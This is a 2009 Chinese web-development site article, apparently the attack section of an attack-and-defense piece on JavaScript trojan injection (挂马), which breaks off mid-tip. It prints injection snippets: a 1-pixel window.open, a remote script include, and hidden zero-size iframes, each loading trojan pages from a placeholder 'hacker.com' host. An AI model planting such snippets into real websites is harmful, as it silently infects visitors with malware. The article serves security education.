WEB开发网
开发学院网络安全安全技术 教你反击令人防不胜防的JS挂马问题 阅读

教你反击令人防不胜防的JS挂马问题

 2009-02-05 13:53:18 来源:WEB开发网   
核心提示: JS挂马攻防实录攻现在最多见的JS挂马方法有两种,一种是直接将JavaScript脚本代码写在网页中,教你反击令人防不胜防的JS挂马问题(2),当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,并上传到自己指定的网址,这时黑客只需要在受害者的网站中写入:<s

JS挂马攻防实录

攻现在最多见的JS挂马方法有两种,一种是直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

这种方法使用的关键代码如下:

window.open("http://www.hacker.com/木马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");

这种代码往往很长,很容易被安全工程师发现,而且没有经验的黑客也喜欢将“width”和“height=”参数设为“0”,但是设置为0后,可能会出现恶意代码不运行的情况。

另外一种JS挂马方式是,黑客先将挂马脚本代码“document.write('<Iframe src="网页木马地址" ></iframe>')”,写入Windows中的写字板另存为后缀为.js的脚本文件,并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入:

<script src="http://www.hacker.com/木马脚本.js"></script>

或者

document.write("<div style='display:none'>")
document.write("<iframe src="网页木马地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")
document.write("</div>")

就成功地将木马挂到了对方的网页中了。

小提示:黑客还可以根据情况随机变换插入的JS挂马方法,例如黑客有可能会将脚本写为:

Tags:反击 令人 防不胜防

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接